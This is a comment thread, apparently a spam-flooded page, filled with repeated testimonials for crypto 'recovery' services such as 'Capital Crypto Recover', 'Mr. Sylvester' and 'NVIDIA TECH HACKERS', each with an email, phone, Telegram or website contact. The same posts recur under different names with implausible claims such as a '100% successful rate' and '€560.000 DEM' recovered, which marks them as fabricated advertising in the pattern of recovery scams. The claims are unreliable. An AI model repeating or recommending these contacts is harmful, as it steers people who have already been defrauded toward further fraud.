Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1